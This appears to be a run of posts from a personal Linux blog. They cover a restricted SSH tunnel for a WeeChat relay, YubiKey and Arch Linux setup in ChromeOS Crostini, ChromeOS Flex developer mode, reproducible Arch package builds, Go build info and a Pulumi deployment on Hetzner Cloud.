Hence, I have decided to switch to SSH tunneling. With SSH tunneling, I am able to use SSH keys for authentication. In this short article I would like to show you how I have set this up:

1. I moved from Hetzner to Google Cloud, because Google Cloud offers a free tier and I use the VM only as IRC bouncer. No need to pay 40 Euro per year, when I can get something for free.
2. A dedicated user and SSH key pair for weechat reduces the blast radius, if something happens.
3. The SSH access for the weechat user serves only one purpose: Connecting to the Weechat instance.

My $HOME/.ssh/authorized_keys file is configured as follows:

no-agent-forwarding,no-X11-forwarding,permitopen="127.0.0.1:9001",command="echo 'permission denied'" ssh-ed25519 <redacted> weechat@host

The settings before the actual SSH key are SSH options. I do not allow any command execution, thus if I would connect via SSH it would just echo “permission denied”. Via permitopen="127.0.0.1:9001" I allow connections to the localhost at port 9001, the port of my Weechat relay.

In the Android Weechat App, I have selected the connection type SSH tunnel with relay host 127.0.0.1, relay port 9001 and the configured relay password in my Weechat. The Weechat instance on the server is running on a tmux session.

I hope this little article is helpful for someone. Debugging all of this can be very annoying, because the Weechat android app does not support proper debugging log output. Also, I would prefer a normal Weechat connecting to a Weechat relay, but this feature seems to be work in progress for multiple years now. For now, I am happy with the android app.

long ago I have ditched Arch Linux for my main operating systems and switched to ChromeOS with Arch Linux in Crostini. For a long time this setup worked fine, until I encountered a few issues with Arch Linux and Yubikeys.

In this article, I would like to show you how I setup my Yubikey on Arch Linux running in Crostini within ChromeOS.

First, we have to ensure that /etc/polkit-1/rules.d/99-pcscd.rules exists with following content:

polkit.addRule(function(action, subject) {
  if (action.id == "org.debian.pcsc-lite.access_card" &&
  subject.isInGroup("wheel")) {
    return polkit.Result.YES;
  }
});
polkit.addRule(function(action, subject) {
  if (action.id == "org.debian.pcsc-lite.access_pcsc" &&
  subject.isInGroup("wheel")) {
    return polkit.Result.YES;
  }
});

My $HOME/.gnupg/scdaemon.conf looks as follows:

reader-port Yubico YubiKey
pcsc-driver /usr/lib/libpcsclite.so
card-timeout 5
disable-ccid
pcsc-shared

And my $HOME/.gnupg/gpg-agent.conf:

allow-loopback-pinentry
pinentry-program /usr/bin/pinentry-gnome3
max-cache-ttl 60480000
default-cache-ttl 60480000

For mounting and handling block devices we have to do two changes:

1. Set the container to privileged mode. (This might be a security risk, thus only do this if you know what you are doing)
2. Add a raw LXC configuration to allow block devices, device mapping and other permissions that are needed.

We hav no text editor in the termina VM, hence we have to add the raw LXC config with a little trick:

$ lxc config set penguin raw.lxc=$(cat << EOF
lxc.cgroup.devices.allow = c *:* rwm
lxc.cgroup.devices.allow = b *:* rwm
EOF
)"

$ lxc config set penguin security.privileged=true

The above snippet sets all necessary permissions. After doing this restart the LXC container. Next, you need to add all block devices + partition devices manually. In my case, this is what I did:

$ lxc config device add penguin /dev/sda unix-block=/dev/sda mode=0666
$ lxc config device add penguin /dev/sda1 unix-block=/dev/sda1 mode=0666

With these changes you should be able to jump into the container as usual and decrypt it with cryptsetup luksOpen /dev/sda usb.

What does not work properly at the moment is scanning over wifi with my very old HP DeskJet 2540 printer with embedded scanner. Sadly, Chrome OS does not provide much logging. You can access /var/log/messages via visiting file:///var/log/messages in your browser, but this does not give you enough debug information in this case.

This means I had to enable developer mode on my machine. At first, I thought I could just switch to the developer channel of Chrome OS and this would allow me to access the debug mode, but it does not.

For having direct access to the filesystem, you have to enable developer mode. Developer mode is different to using the developer channel, because developer mode disables most of Chrome OS great security features (for instance dm-verity).

Enabling developer mode on a Chrome OS Flex device is a lot different to enabling it on a Chrome OS device. On a Chrome OS device you just have to press a certain shortcut on boot and you can directly jump into developer mode, but developer mode alone gives you no write access to the filesystem. For enabling write access, there might be a special screw you have to modify, because many Chrome OS devices have physical write protection.

This article, however, focuses on Chrome OS Flex devices. I hope it is helpful for someone, because I had to collect different information from different areas in the internet.

Switching to developer channel

Switching to developer channel is the easiest step. You just have to go into settings, go to Change channel and switch to the developer channel. The official Google documentation has a more detailed description: https://support.google.com/chromebook/answer/1086915. Small note from my side: You do not have to powerwash when you change the channel from stable to beta or developer channel. Powerwash is the name of Google’s reset mechanism. Powerwashing your device means it gets resetted and all personal data will be deleted.

Switching to developer mode

For enabling developer mode on a Chrome OS Flex device you have edit Chrome OS’s grub.cfg file in the EFI partition. You cannot do this on the device directly, you must boot a Linux system on the device, mount the correct partition and modify the grub.cfg file in the EFI partition.

In my case, I either gave away all my other laptops or all my other laptops are Chrome OS devices, so I had a little bit of trouble to create a bootable Linux USB stick with Chrome OS. I thought I could just plug in the USB stick, start my Crostini Linux container on my Chrome OS Flex device, forward the USB stick to the container and then use a Linux tool like dd to flash the ISO file (in my case Arch Linux, of course) to the USB stick.

This does not work. Chrome OS will mount the USB stick in Chrome OS instead and there is no way to forward the device to the Crostini container. Luckily, there is a solution for this and it is called Chromebook Recovery Utility. The Chromebook Recovery Utility is actually built for creating bootable Chrome OS recovery usb sticks, but with this tool you can also flash any other ISO on an USB stick. There are just a few steps you have to follow:

1. You must rename your ISO file from <filename>.iso to <filename>.bin
2. In Step 1 of the tool, you click on the little gear icon on the upper right corner.

Clicking on the gear icon opens a dialog box, where you can select Use local image. This will allow you to flash the ISO file to the USB stick.

Now, that you have the USB stick, use the USB stick to boot into a Linux RAMFS. In the Linux RAMFS, you can list all partitions via the command fdisk -l. Remember the partition that has the label EFI... and then mount this partition via mount <path to partition> /mnt. Next, jump into the /mnt directory and search for the file grub.cfg. Open this file and insert cros_debug to all grub.cfg lines. You can do this by replacing cros_efi with cros_efi cros_debug (in vim: :%s/cros_efi/cros_efi cros_debug/g). Then umount and reboot into Chrome OS.

If the device does not boot into developer mode, try also appending kvm-intel.vmentry_l1d_flush=always to the grub.cfg file. Moreover, cros_efi might be called cros_legacy on your system, this is especially the case for devices that do not support UEFI.

In Chrome OS open Google Chrome and press ctrl+alt+t, this will open the Chrome OS shell (crosh). Type shell to get direct shell access. Voila, you are in developer mode now.

Mounting the rootfs writeable

Developer mode alone might not be sufficient, because you want to very likely modify files. If you tried mounting the rootfs writeable, you might have realized that this does not work. This is because of dm-verity. For disabling dm-verity, you must run the following command on Chrome OS Flex and reboot: /usr/share/vboot/bin/make_dev_ssd.sh --remove_rootfs_verification --force --partition 2.

The command can be destructive, so make sure to backup any meaningful data first. After a fresh reboot you should be able to do: sudo mount -o remount,rw /. This remounts your rootfs writeable and you can directly work on the rootfs. This comes very useful when you want to debug system internals or want more log data for preparing a bug report to the Google Chrome OS team.

I have not written a new article for quite a time now, but the waiting is finally over. Here comes the article everyone of you ever waited for.

Let us install Arch Linux on ChromeOS together. Yihaaaa…

(Not quite what you expected? Feel free to drop this article :‘D).

If you are reading this, this means you are still here. Nice. So, let us start with a short explanation on why I am doing this:

I think I am a Linux user for over 10 years now. In these 10 years, I have tested countless of different window managers, distributions and tools on Linux. These 10 years allowed me to do this, because I either went to school or to university. If you are following me on Twitter, you might know that I have recently finished my master’s degree and got hired at a refrigerator company. Therefore, you may understand my inspiration for this article.

So, you might ask yourself why I am even switching. I went full circle in these ten years, going from heavy desktop environments like KDE or Gnome, to slim tiling window managers like sway or dwm, back to Gnome with Fedora on a work laptop. In the end it was bluetooth that defeated me. It has been another night in a hotel with Sway and bluetooth on command line that made me finally realize that I waste too much time with stuff ‘normal’ people do not suffer from.

This is why I have decided to change something. Sure, I could have just used a nice bluetooth manager applet and call it a day, but I like to tinker around. This is how I ended up replacing the Debian container with Arch Linux on a Thinkpad T14 AMD running ChromeOS Flex, what a combination!

Why ChromeOS? ChromeOS is something that always fascinated me since Lennart Poettering described it as more secure than your typical Linux distribution. Of course, this does not apply to ChromeOS Flex, because you will lose all Verified Boot capabilities, but it is still a nice test bed for finding out if I would buy a Chromebook in the future. I won’t go into too much details here, this might be something for another article. Instead, let us finally do something technical and install Arch Linux in Crostini in ChromeOS. Crostini is a custom environment in ChromeOS that allows running Linux containers. I do not know how it works in detail, but I do know that there is a VM running on ChromeOS called termina. This VM is a very small Linux installation with only one purpose: Running containers via LXC.

Via a Google software called sommelier it is even possible to start apps in the container and forward their graphical user interface to the ChromeOS window manager.

The first step you have to do is enabling Linux on ChromeOS. For this you need a device that is running on x86_64 architecture. As far as I know ARM chromebooks are not supported. If the Linux environment is installed you can destroy and recreate the termina VM via crosh (ChromeOS’ own terminal running in a Chrome tab). Next, just spin up an Arch Linux container via this line:

vmc container termina arch https://us.lxd.images.canonical.com/ archlinux/current

If you see any error messages, just ignore them. These error messages confused me a lot, but if you jump into termina via running vsh termina you should be able to run lxc list and see a new running container.

From here, you can follow the Arch Linux installation guide. Jump in the container (lxc exec arch -- bash) and run the following:

Update(2023-08-05)

Do not change the username. If you change the username filesharing between the container and ChromeOS will stop working. When you continue to use the same user name + same IDs, the filesharing should be working fine.

Update(2023-08-05)

# pkill -9 -u old-username
# groupmod -n new-username old-username
# usermod -d /home/new-username -l new-username -m -c new-username old-username
# passwd username
# visudo
# usermod -aG wheel username

The above changes the old username (most likely your Gmail ID) to something shorter, sets a new password and gives you sudo permissions via the wheel group.

For installing the cros-container-guest-tools you need a few additional packages (base-devel,devtools,pacman-contrib, wayland, xorg-xwayland). Before you install these, install reflector and seta better package mirror, for instance via reflector -n 10 --sort score > /etc/pacman.d/mirrorlist.

One major issue I had was network connectivity. For some reason, systemd-networkd failed and the container only got an IPv6 address. I fixed this issue via installing dhclient and enabling it via systemctl enable dhclient@eth0. Note, that you need a dbus session to use systemctl, so you really want to get into the container via running lxc console.

The following is a summary of all the steps above:

# exit
# lxc console arch
# <press enter>
# sudo -i
# pacman -S reflector
# reflector -n 10 --sort score > /etc/pacman.d/mirrorlist
# pacman -Syu base-devel pacman-contrib wayland xorg-xwayland devtools dhclient
# systemctl start dhclient@eth0
# curl "https://aur.archlinux.org/cgit/aur.git/snapshot/cros-container-guest-tools-git.tar.gz" -LO
# tar xfvz cros-container-guest-tools-git.tar.gz
# cd cros-container-guest-tools-git
# makepkg -si
# exit
# systemctl --user enable --now sommelier@0
# systemctl --user enable --now sommelier@1
# systemctl --user enable --now sommelier-x@0
# systemctl --user enable --now sommelier-x@1
# exit

From here, you should be good to go. Stop all running containers do the renaming:

# lxc stop --force arch
# lxc stop --force penguin
# lxc rename penguin debian
# lxc rename arch penguin

Then open the ChromeOS Terminal App (not crosh) and just start Linux via starting the penguin container.

Voila, you should be running Arch Linux on ChromeOS now.

This time, we will have a look at reproducible package builds. Reproducible package builds are very important for us, as package maintainers, because reproducible package builds create an independently-verifiable path from source to the final package. This means, every Arch Linux user can verify that noone tampered with the Arch Linux package build process. Technically spoken, this means that we can build the same package on different systems and get an exact identical package (identical as in: they share the same SHA256 checksum).

At Arch Linux, we have an instance that automatically tries to reproduce every package we build. If a package is not reproducible we are getting informed via mail and the package will be flagged on the Arch Linux website:

When we have identified a non reproducible package, we try to investigate the reason behind this and attempt to fix it. First we download the package tarball and then we use our development tool makerepropkg to attempt to reproduce a given package. makerepropkg downloads all packages with the exact version number that were necessary to build the given package tarball. This ensures that we have the same build environment. After running makerepropkg another packate tarball will get created and stored locally on our work machine.

Now, we can compare both packages via running diffoscope on them. diffoscope compares both archives for binary reproducibility.It does this via comparing files and metadata bit by bit. diffoscope returns a diff view of both archives, highlighting the differences:

--- cosign-1.10.1-2-x86_64.pkg.tar.zst
+++ /var/lib/archbuild/reproducible/chris/build/pkgdest/cosign-1.10.1-2-x86_64.pkg.tar.zst
├── cosign-1.10.1-2-x86_64.pkg.tar
│ ├── .MTREE
│ │ ├── .MTREE-content
│ │ │ -./usr/bin/cosign time=1661356248.0 size=68372464 md5digest=e0bb95d657084647718199fa6f9df48e sha256digest=8d92d291f338fa0b26534927e3bc98e78818df1127a08637e05f0bded1160663
│ │ │ +./usr/bin/cosign time=1661356248.0 size=68372464 md5digest=f2cf1351d8203110f7f165ec2124d14c sha256digest=edf97964206642911677711aef5352c6ba30f498057a09a056338a7cf85274b2
│ ├── usr/bin/cosign
│ │┄ File has been modified after NT_GNU_BUILD_ID has been applied.
│ │ │  Displaying notes found in: .note.gnu.build-id
│ │ │    Owner                Data size 	Description
│ │ │ -  GNU                  0x00000014	NT_GNU_BUILD_ID (unique build ID bitstring)	    Build ID: c2849cac6c9ffd3e4319ea6bd7e7a0939921717b
│ │ │ +  GNU                  0x00000014	NT_GNU_BUILD_ID (unique build ID bitstring)	    Build ID: 4c4f2c7126e4bf02fabc668a9ce1d3c445dd3353
│ │ │  Displaying notes found in: .note.go.buildid
│ │ │    Owner                Data size 	Description
│ │ │ -  Go                   0x00000053	GO BUILDID	   description data: 4a 64 79 44 6e 75 67 66 72 59 35 43 39 66 38 64 55 48 69 52 2f 44 71 62 70 7a 5a 61 47 4a 44 43 69 55 71 72 47 54 67 53 69 2f 62 56 62 4d 66 56 64 4b 63 6c 58 79 52 30 34 51 2d 78 71 46 2f 77 64 34 71 48 73 76 76 41 52 31 57 52 6f 70 5f 74 6b 76 57
│ │ │ +  Go                   0x00000053	GO BUILDID	   description data: 78 30 65 54 62 4c 6e 63 7a 41 5f 69 52 36 72 51 5f 79 39 39 2f 44 71 62 70 7a 5a 61 47 4a 44 43 69 55 71 72 47 54 67 53 69 2f 62 56 62 4d 66 56 64 4b 63 6c 58 79 52 30 34 51 2d 78 71 46 2f 73 57 73 61 4a 63 70 67 78 6e 47 4e 36 61 65 5f 42 58 41 43
│ │ ├── strings --all --bytes=8 {}
│ │ │ -JdyDnugfrY5C9f8dUHiR/DqbpzZaGJDCiUqrGTgSi/bVbMfVdKclXyR04Q-xqF/wd4qHsvvAR1WRop_tkvW
│ │ │ +x0eTbLnczA_iR6rQ_y99/DqbpzZaGJDCiUqrGTgSi/bVbMfVdKclXyR04Q-xqF/sWsaJcpgxnGN6ae_BXAC

The above diffoscope output is trimmed down to make it more readable, but it highlights one of the issues with the cosign binary. In the MTREE file, we can clearly see that the checksums for cosign are different. This can be explained via the different GNU Build IDs and the different Go BuildID. Moreover, there is a different string in each of the binaries. What is the Go BuildID? According to Filippo Valsorda the build ID is “..a hash of the filenames of the compiled files, plus the version of the compiler (and other things in zversion.go, like the default GOROOT)".

The different build ID for every build seems to have something to do with the linker and the use of CGO. At Arch Linux, we do not compile binaries statically, because of additional security features like FULL RELRO and PIE. One solution to fix this issue is via building it statically, but this time we prefer to fix this via setting an empty build ID. Be aware that setting an empty build ID will disable debug packages. I hope the Go team will fix this issue on the long run. Let us use the following GOFLAGS line for the cosign package:

export GOFLAGS="-buildmode=pie -trimpath -mod=readonly -modcacherw -ldflags=-linkmode=external -ldflags=-buildid=''"

The last ldflag sets the build ID to an empty string. Now, we can rebuild the package and then run makerepropkg again:

makerepropkg cosign-1.10.1-2-x86_64.pkg.tar.zst

Voila! makerepropkg reports that the package is now reproducible:

...
==> Leaving fakeroot environment.
==> Finished making: cosign 1.10.1-2 (Wed Aug 24 18:35:43 2022)
  -> built succeeded! built packages can be found in /var/lib/archbuild/reproducible/chris/build/pkgdest
==> comparing artifacts...
  -> Package 'cosign-1.10.1-2-x86_64.pkg.tar.zst' successfully reproduced!

If you ever wrote a CLI app in Go you are very familiar with injecting information during the build process into global variables. For instance:

package main

import "fmt"

var Version string

func main() {
	fmt.Println("Version: ", Version)
}

❯ go build -ldflags="-X 'main.Version=v1.0.0'"
❯ ./test 
Version:  v1.0.0

Go 1.18 introduced support for version control systems for the debug/buildinfo package. Therefore, instead of using a global variable and injecting the information during the build process, you can just let Go handle this:

package main

import (
	"fmt"
	"runtime/debug"
)

func main() {
	info, _ := debug.ReadBuildInfo()
	fmt.Println(info)
}

❯ git tag v1.0.0
❯ go build .
❯ ./test
go	go1.18
path	github.com/shibumi/test
mod	github.com/shibumi/test	(devel)	
build	-compiler=gc
build	CGO_ENABLED=1
build	CGO_CFLAGS=
build	CGO_CPPFLAGS=
build	CGO_CXXFLAGS=
build	CGO_LDFLAGS=
build	GOARCH=amd64
build	GOOS=linux
build	GOAMD64=v1
build	vcs=git
build	vcs.revision=7e22e19e829d84170072d2459e5870876df495ed
build	vcs.time=2022-04-03T16:59:50Z
build	vcs.modified=false

Isn’t this cool?! Go will automatically detect the version control system and will automatically add the current revision and time to it. With this revision we are now able to get the version back:

❯ git describe --contains 7e22e19e829d84170072d2459e5870876df495ed
v1.0.0

The disadvantage of the new feature is that it is less customizable, but I don’t really think this is an issue to be honest. Moreover, there is no need to explicitly use debug.ReadBuildInfo() in your code, it is also possible to see the same information via:

❯ go version -m ./test 
./test: go1.18
	path	github.com/shibumi/test
	mod	github.com/shibumi/test	(devel)	
	build	-compiler=gc
	build	CGO_ENABLED=1
	build	CGO_CFLAGS=
	build	CGO_CPPFLAGS=
	build	CGO_CXXFLAGS=
	build	CGO_LDFLAGS=
	build	GOARCH=amd64
	build	GOOS=linux
	build	GOAMD64=v1
	build	vcs=git
	build	vcs.revision=7e22e19e829d84170072d2459e5870876df495ed
	build	vcs.time=2022-04-03T16:59:50Z
	build	vcs.modified=false

Another interesing side note: If your project uses external dependencies, these dependencies will get listed as well:

❯ go version -m ./embedmd 
./embedmd: go1.18
	path	github.com/campoy/embedmd
	mod	github.com/campoy/embedmd	v1.0.0	h1:V4kI2qTJJLf4J29RzI/MAt2c3Bl4dQSYPuflzwFH2hY=
	dep	github.com/pmezard/go-difflib	v1.0.0	h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
	build	-compiler=gc
	build	CGO_ENABLED=1
	build	CGO_CFLAGS=
	build	CGO_CPPFLAGS=
	build	CGO_CXXFLAGS=
	build	CGO_LDFLAGS=
	build	GOARCH=amd64
	build	GOOS=linux
	build	GOAMD64=v1

By the way, this information survives if you decide to strip the binary!

To summarize this little article:

• Go 1.18 provides fancy new build information
• VCS are automatically identified and used
• If you only care for revision and build date, you can stop injecting values.

This weekend I had finally some time to have a longer glimpse on Hetzner and Pulumi. Pulumi sparked my interest for a pretty long time now after reading Engin’s blog post about pulumi and Microsoft Azure. I tried Pulumi earlier, but I gave up pretty fast, because it had no Netlify support. The missing Netlify support did not change, but I did not want to invest time in my Terraform configuration, hence I decided to have a look on Pulumi instead.

So, what is Pulumi? Pulumi is just another infrastructure as code tool, but this Pulumi is more serious about the code aspect of it. You may know tools like Hashicorp Terraform already. Hashicorp states that Terraform is infrastructure as code and although the Hashicorp configuration language (HCL) may be turing complete (is it?!) I would not really consider it as infrastructure as code. What I always disliked about Terraform was that HCL felt more like a configuration language than a programming language. For me it always felt like JSON on steroids with lots of syntax sugar and additional templating features. It did not really feel like Code. Pulumi does this all different by providing a client, an optional web service and real programming libraries. The latter in that list is the game changer. With Pulumi it is possible to use your favorite programming language and finally do what infrastructure as code should be like: You define in your infrastructure in a high level programming language. The supported languages are Node.js, Python, Go and .NET Core. Most libraries in Pulumi have been imported from Terraform modules (I wonder how Hashicorp feels about this) and the bigger libraries are rewritten from scratch as Pulumi native library. Today, I would like to showcase Pulumi a little bit with setting up a server at the Hetzner Cloud. I choose Hetzner, because I think there were enough hyperscaler tutorials.

Let us start with initializing the Pulumi client. Pulumi keeps, similar to Terraform, a state. This state can be stored on your local machine or in the cloud. If you are very paranoid about your secrets you can enable local storage via executing pulumi login --local. This command will initialize the Pulumi state in your home directory at $HOME/.pulumi. You can skip this command if you prefer the Pulumi web service as state storage. In a production environment, I would suggest storing the state within your cloud provider or within Pulumi.

My favorite programming language is Go, right now. The following lines initialize a new Go pulumi project:

❯ pulumi new go
This command will walk you through creating a new Pulumi project.

Enter a value or leave blank to accept the (default), and press <ENTER>.
Press ^C at any time to quit.

project name: (infra) infra
project description: (A minimal Go Pulumi program) my private infrastructure
Created project 'infra'

stack name: (dev)
Created stack 'dev'
Enter your passphrase to protect config/secrets:
Re-enter your passphrase to confirm:

Enter your passphrase to unlock config/secrets
    (set PULUMI_CONFIG_PASSPHRASE or PULUMI_CONFIG_PASSPHRASE_FILE to remember):
Installing dependencies...

Finished installing dependencies

Your new project is ready to go!

To perform an initial deployment, run 'pulumi up'

One of the first aspects I like about Pulumi is that the state is encrypted on default. Next, we are going to have a look on our custom layout. Due to the infrastructure as code philosophy, we can fully customize the layout of our project. My current infrastructure project is as follows:

.
├── assets
│  └── cloud-config
│     └── ritsuko.yaml
├── go.mod
├── go.sum
├── internal
│  ├── cloudconfig.go
│  ├── config.go
│  └── helper.go
├── main.go
├── Pulumi.dev.yaml
└── Pulumi.yaml

The assets directory has a sub-directory with cloud configuration files. Pulumi.yaml is the main configuration file of the project and Pulumi.dev.yaml is the configuration file for the stack dev. Stacks are different environments (Dev, Stage, Production). Our goal for this little article is to get a configuration from our Pulumi.dev.yaml file, read all files in the cloud-config directory and use this cloud-config files to create servers.

After initialization of the project you just have a main.go file and the two Pulumi configuration files. The main.go should look like this:

package main

import (
    "github.com/pulumi/pulumi/sdk/v3/go/pulumi"
)

func main() {
    pulumi.Run(func(ctx *pulumi.Context) error {
        return nil
    })
}

For further development you just have to extend the pulumi.Run method. But, first we are going to add some variables to the dev stack configuration file:

encryptionsalt: <REDACTED>
config:
  infra🔑
    id: "chris@motoko"
    publicKey: "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHlRfwIYqaqWfh5ObpCV5pA+n+KolK64LZ5VyIi5ZjwtEswkDI6KcGDTGcWYY+/XJ42kj7SbYHSCm4t/HAXHgmKDuQPzq72nVY7G1DjYrArGig9ni0/XCJY64s5oBgW8wVPTnbf/wYo+gHqsXO7ZaJKknW7jybmIiMC9hx+BkGugyT2WdVnI/8fXiR7VBArSfPIT/ieuWi+GR/7nIz6X09d77pY+tZzeOfbm2obU3EsIh8KJzoZeeopqOFnxooTGtk3ifL8Sv154KDzPwRnaGKdwd36aljQharAUkRQS3bVZiRx1Jw19+1XT0a8/D70ilAKMX6ilUa+LO9jObd49pUSitVGN6gHV5LBybbXjdaLe62dN9gRttJ24KjoJer1o2PMRxNxjwGgksPXhcyfBgbxmNOnsGYZ90PFdp3CH3eh9V8wmwj/ATPnX0s7pAVIpJt6lvdMfoZoezWhk/N0e0GpLWc7hmhxmEP0GYp5+oLL4n5wGr39uOsjPeqpx5c+QJPgIk0cJpKW8gVOw5T8e72v6r44APy9+XLTx2rAwfKeTBwyQo/yiGRo+gEdrPROOl9bei+eGFApJLtHPGqMP5PzMpY1A67z3D4tZ8zPoIqDoos5O6k04aXkbHjNCOkbwY29PfqZzqZmEo+FGDAhqwzpfc/7e7vDJTLWusIxxaaOQ== chris@motoko"
  infra:cloudConfigPath: "assets/cloud-config"

Keys in the pulumi world always have a namespace and an identifier namespace:identifier. infra is our default namespace, because our project has the name infra. For Hetzner cloud access we can add the Hetzner cloud token to the configuration and import the pulumi Hetzner package:

$ pulumi config set hcloud:token XXXXXXXXXXXXXX --secret
$ go get github.com/pulumi/pulumi-hcloud/sdk/go/hcloud@latest

With this configuration in place we can now continue with our main method and add our first SSH public key to Hetzner:

package main

import (
	"github.com/pulumi/pulumi-hcloud/sdk/go/hcloud"
	"github.com/pulumi/pulumi/sdk/v3/go/pulumi"
)

func main() {
	pulumi.Run(func(ctx *pulumi.Context) error {
		// read configuration file
		var pubKey internal.SSHPublicKey
		pulumiConf := config.New(ctx, "")                        // namespace "" refers to the default project namespace "infra"
		pulumiConf.RequireObject("key", &pubKey)                 // read infra:key object
		cloudConfigPath := pulumiConf.Require("cloudConfigPath") // read infra:cloudConfigPath string

		// create Hetzner SSH Public Key
		sshKey, err := hcloud.NewSshKey(ctx, pubKey.ID, &hcloud.SshKeyArgs{
			Name:      pulumi.String(pubKey.ID),
			PublicKey: pulumi.String(pubKey.PublicKey),
		})

    return nil
  })
}

internal.SSHPublicKey refers to a struct in our internal package:

package internal

// SSHPublicKey extends the SSH public key with its ID (comment field)
// This makes handling easier. We just get the key from the pulumi configuration.
// An alternative is parsing the key and reading the comment field.
type SSHPublicKey struct {
	ID        string
	PublicKey string
}

Next, we are creating our first cloud config file. I usually name these files in the following pattern <serverName>.yaml. This has the little advantage that we can use these files to bootstrap servers later. Here is a very simplified cloud configuration:

#cloud-config

ntp:
  enabled: true
timezone: UTC
fqdn: ritsuko.shibumi.dev
ssh_pwauth: false
ssh_authorized_keys:
  - "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHlRfwIYqaqWfh5ObpCV5pA+n+KolK64LZ5VyIi5ZjwtEswkDI6KcGDTGcWYY+/XJ42kj7SbYHSCm4t/HAXHgmKDuQPzq72nVY7G1DjYrArGig9ni0/XCJY64s5oBgW8wVPTnbf/wYo+gHqsXO7ZaJKknW7jybmIiMC9hx+BkGugyT2WdVnI/8fXiR7VBArSfPIT/ieuWi+GR/7nIz6X09d77pY+tZzeOfbm2obU3EsIh8KJzoZeeopqOFnxooTGtk3ifL8Sv154KDzPwRnaGKdwd36aljQharAUkRQS3bVZiRx1Jw19+1XT0a8/D70ilAKMX6ilUa+LO9jObd49pUSitVGN6gHV5LBybbXjdaLe62dN9gRttJ24KjoJer1o2PMRxNxjwGgksPXhcyfBgbxmNOnsGYZ90PFdp3CH3eh9V8wmwj/ATPnX0s7pAVIpJt6lvdMfoZoezWhk/N0e0GpLWc7hmhxmEP0GYp5+oLL4n5wGr39uOsjPeqpx5c+QJPgIk0cJpKW8gVOw5T8e72v6r44APy9+XLTx2rAwfKeTBwyQo/yiGRo+gEdrPROOl9bei+eGFApJLtHPGqMP5PzMpY1A67z3D4tZ8zPoIqDoos5O6k04aXkbHjNCOkbwY29PfqZzqZmEo+FGDAhqwzpfc/7e7vDJTLWusIxxaaOQ== chris@motoko"
runcmd:
  - "dnf install dnf-automatic -y"
  - "systemctl enable dnf-automatic.timer --now"

You might be confused now, because I am adding the SSH key twice and you absolutly can be. Actually, I would like to add the key via the cloud-config file only, but Hetzner cloud reacts with enabling password authentication for the host and sending you the password via mail if you do not set the SSH key via their API. I would like to circumvent this and decided to just set it twice. It might make sense to either remove it in the cloud-config file and set it only via Hetzner API or set it only via cloud-config, while ignoring Hetzner root password mails. The cloud-config file disables ssh_pwauth anyway (shrug).

For reading all cloud-config files I have setup a little helper function:

package internal

import (
	"github.com/pulumi/pulumi-cloudinit/sdk/go/cloudinit"
	"github.com/pulumi/pulumi/sdk/v3/go/pulumi"
	"io/ioutil"
	"path/filepath"
	"strings"
)

// cloudConfigContentType cannot be a constant, because we cannot use pointers to constants in Go
var cloudConfigContentType = "text/cloud-config"

// CloudConfig extends the pulumi cloud-config with an ID
type CloudConfig struct {
	ID          string
	CloudConfig *cloudinit.LookupConfigResult
}

// NewCloudConfigs reads all cloud-config files in a given path and returns
// a slice of CloudConfig
func NewCloudConfigs(ctx *pulumi.Context, path string) ([]CloudConfig, error) {
	var cloudConfigs []CloudConfig

	files, err := ioutil.ReadDir(path)
	if err != nil {
		return nil, err
	}
	for _, f := range files {
		config, err := ioutil.ReadFile(filepath.Join(path, f.Name()))
		if err != nil {
			return nil, err
		}
		cloudConfig, err := cloudinit.LookupConfig(ctx, &cloudinit.LookupConfigArgs{
			Base64Encode: BoolPtr(false),
			Gzip:         BoolPtr(false),
			Parts: []cloudinit.GetConfigPart{
				{
					Content:     string(config),
					ContentType: &cloudConfigContentType,
					Filename:    StringPtr(f.Name()),
				},
			},
		})
		if err != nil {
			return nil, err
		}
		cloudConfigs = append(cloudConfigs, CloudConfig{
			ID:          strings.TrimSuffix(f.Name(), filepath.Ext(f.Name())),
			CloudConfig: cloudConfig,
		})
	}
	return cloudConfigs, nil
}

// BoolPtr needs a bool and returns a pointer to the bool.
// This function is needed for pulumi's cloud-config.
// Pulumi's cloud-config does not seem to support pulumi.Bool or pulumi.BoolPtr :(
func BoolPtr(b bool) *bool {
	return &b
}

// StringPtr needs a string and returns a pointer to the string.
// This function is needed for pulumi's cloud-config.
// Pulumi's cloud-config does not seem to support pulumi.String or pulumi.StringPtr :(
func StringPtr(s string) *string {
	return &s
}

The NewCloudConfigs function reads all files in the cloud-config directory, creates cloud-config objects from these files and connects them with their filename as ID. Surprisingly, we have to create two small helper functions here, because I seem to be unable to use the two Pulumi types for the CloudConfig fields (pulumi.Bool and pulumi.BoolPtr). The final main.go file can then use this NewCloudConfigs method:

func main() {
	pulumi.Run(func(ctx *pulumi.Context) error {
		// read configuration file
		var pubKey internal.SSHPublicKey
		pulumiConf := config.New(ctx, "")                        // namespace "" refers to the project namespace "infra"
		pulumiConf.RequireObject("key", &pubKey)                 // read infra:key object
		cloudConfigPath := pulumiConf.Require("cloudConfigPath") // read infra:cloudConfigPath string

		// create Hetzner SSH Public Key
		sshKey, err := hcloud.NewSshKey(ctx, pubKey.ID, &hcloud.SshKeyArgs{
			Name:      pulumi.String(pubKey.ID),
			PublicKey: pulumi.String(pubKey.PublicKey),
		})

		// create cloud-configs
		cloudConfigs, err := internal.NewCloudConfigs(ctx, cloudConfigPath)
		if err != nil {
			return err
		}

		// use cloud-configs to initialize virtual machines
		for _, cloudConfig := range cloudConfigs {
			_, err := hcloud.NewServer(ctx, cloudConfig.ID, &hcloud.ServerArgs{
				Image:      pulumi.String("fedora-34"),
				Name:       pulumi.String(cloudConfig.ID),
				ServerType: pulumi.String("cx11"),
				SshKeys: pulumi.StringArray{
					sshKey.Name,
				},
				UserData: pulumi.String(cloudConfig.CloudConfig.Rendered),
			})
			if err != nil {
				return err
			}
		}
		return nil
	})
}

With running pulumi up we are able to create all resources and with pulumi destroy we can destroy all resources, again:

❯ pulumi up
Previewing update (dev):
     Type                    Name          Plan       
 +   pulumi:pulumi:Stack     infra-dev     create     
 +   ├─ hcloud:index:SshKey  chris@motoko  create     
 +   └─ hcloud:index:Server  ritsuko       create     
 
Resources:
    + 3 to create

Do you want to perform this update?  [Use arrows to move, enter to select, type to filter]
  yes
> no
  details

Conclusion

